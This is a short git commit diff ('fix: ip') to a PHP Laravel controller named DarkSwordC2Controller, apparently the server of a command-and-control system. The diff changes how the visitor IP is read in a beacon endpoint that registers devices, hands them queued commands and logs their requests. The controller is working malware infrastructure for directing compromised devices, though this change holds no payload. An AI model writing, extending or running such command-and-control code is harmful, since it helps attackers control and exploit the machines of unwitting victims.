fix: ip
This commit is contained in:
@@ -7,6 +7,7 @@ use App\Models\Device;
|
||||
use App\Models\PageVisit;
|
||||
use App\Services\DarkSwordIngestAdapter;
|
||||
use App\Services\DsBeaconQueue;
|
||||
use App\Support\VisitorIp;
|
||||
use Illuminate\Http\Request;
|
||||
use Symfony\Component\HttpFoundation\Response as SymfonyResponse;
|
||||
|
||||
@@ -49,12 +50,13 @@ class DarkSwordC2Controller extends Controller
|
||||
{
|
||||
$payload = $this->jsonBody($request);
|
||||
$device = $this->ingest->ensureDevice($request, $payload);
|
||||
$command = $device ? $this->beaconQueue->dequeue($device, $request->ip()) : null;
|
||||
$ip = VisitorIp::fromRequest($request);
|
||||
$command = $device ? $this->beaconQueue->dequeue($device, $ip) : null;
|
||||
|
||||
$body = [
|
||||
'ok' => true,
|
||||
'type' => $command['type'] ?? 'noop',
|
||||
'client_ip' => $request->ip(),
|
||||
'client_ip' => $ip,
|
||||
'uuid' => $payload['uuid'] ?? $payload['lhu'] ?? null,
|
||||
];
|
||||
if ($command !== null) {
|
||||
@@ -298,7 +300,7 @@ class DarkSwordC2Controller extends Controller
|
||||
'dir' => 'ds',
|
||||
'method' => $request->method(),
|
||||
'path' => $path,
|
||||
'ip' => $request->ip(),
|
||||
'ip' => VisitorIp::fromRequest($request),
|
||||
'query' => $request->query(),
|
||||
'headers' => c2_log_request_meta($request)['headers'],
|
||||
'body' => $body,
|
||||
|
||||
Reference in New Issue
Block a user